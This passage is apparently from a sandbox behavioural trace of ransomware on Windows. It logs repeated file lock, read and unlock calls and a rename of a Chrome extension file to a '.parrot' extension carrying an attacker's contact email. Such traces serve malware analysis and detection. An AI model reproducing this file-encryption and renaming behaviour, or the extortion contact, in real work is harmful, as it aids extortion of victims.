hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a39c8 | out: hHeap=0x5b0000) returned 1 [0064.619] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0064.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0228 | out: hHeap=0x5b0000) returned 1 [0064.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31618e8 | out: hHeap=0x5b0000) returned 1 [0064.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0064.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x6a39c8 [0064.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d95b8 [0064.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0064.620] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0064.816] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22f, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.816] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.816] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.817] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.817] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x117, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x117, lpOverlapped=0x0) returned 1 [0064.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0064.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0064.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0064.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0064.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0064.817] GetLastError () returned 0x0 [0064.818] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0064.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0064.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0064.818] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.818] CloseHandle (hObject=0x28c) returned 1 [0064.857] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x203, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.857] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.857] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.858] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.858] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xeb, lpOverlapped=0x0) returned 1 [0064.858] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.858] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x203, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.859] CloseHandle (hObject=0x28c) returned 1 [0064.938] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.938] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.938] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.939] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.939] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd1, lpOverlapped=0x0) returned 1 [0064.939] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.939] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.939] CloseHandle (hObject=0x270) returned 1 [0064.944] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.944] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.944] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.945] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.945] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0064.945] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.945] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.945] CloseHandle (hObject=0x270) returned 1 [0064.948] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.948] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.948] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.949] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.949] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0064.949] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.949] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.949] CloseHandle (hObject=0x270) returned 1 [0064.952] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.952] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.952] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.953] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.953] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xda, lpOverlapped=0x0) returned 1 [0064.953] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.953] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.953] CloseHandle (hObject=0x270) returned 1 [0064.972] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.972] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.972] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.973] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.973] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe4, lpOverlapped=0x0) returned 1 [0064.973] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.973] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.973] CloseHandle (hObject=0x270) returned 1 [0064.975] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0064.975] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0064.975] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0064.976] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.976] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0064.976] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.976] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0064.976] CloseHandle (hObject=0x270) returned 1 [0065.085] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.085] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.085] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.086] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.086] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcf, lpOverlapped=0x0) returned 1 [0065.087] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.087] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.087] CloseHandle (hObject=0x28c) returned 1 [0065.089] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.089] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.089] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.090] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.090] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd9, lpOverlapped=0x0) returned 1 [0065.090] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.090] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.090] CloseHandle (hObject=0x28c) returned 1 [0065.127] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1db, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.127] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.127] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.128] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.128] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc3, lpOverlapped=0x0) returned 1 [0065.128] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.129] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1db, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.129] CloseHandle (hObject=0x28c) returned 1 [0065.131] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.131] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.131] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.132] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.132] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0065.132] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.132] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.132] CloseHandle (hObject=0x28c) returned 1 [0065.146] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e6, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.146] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.146] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.147] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.147] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xce, lpOverlapped=0x0) returned 1 [0065.147] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.148] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.148] CloseHandle (hObject=0x270) returned 1 [0065.151] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.151] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.151] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.152] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.152] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd0, lpOverlapped=0x0) returned 1 [0065.152] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.152] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.152] CloseHandle (hObject=0x270) returned 1 [0065.155] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.155] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.155] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.156] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.156] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0065.157] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.157] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.157] CloseHandle (hObject=0x270) returned 1 [0065.158] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x222, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.159] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.159] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.159] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.159] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x10a, lpOverlapped=0x0) returned 1 [0065.160] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.160] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x222, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.160] CloseHandle (hObject=0x270) returned 1 [0065.240] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0065.240] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0065.240] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0065.241] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.241] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdd, lpOverlapped=0x0) returned 1 [0065.241] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.242] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0065.242] CloseHandle (hObject=0x270) returned 1 [0065.244] LockFile (hFile=0x270, dwFileOffsetLow=0x0, 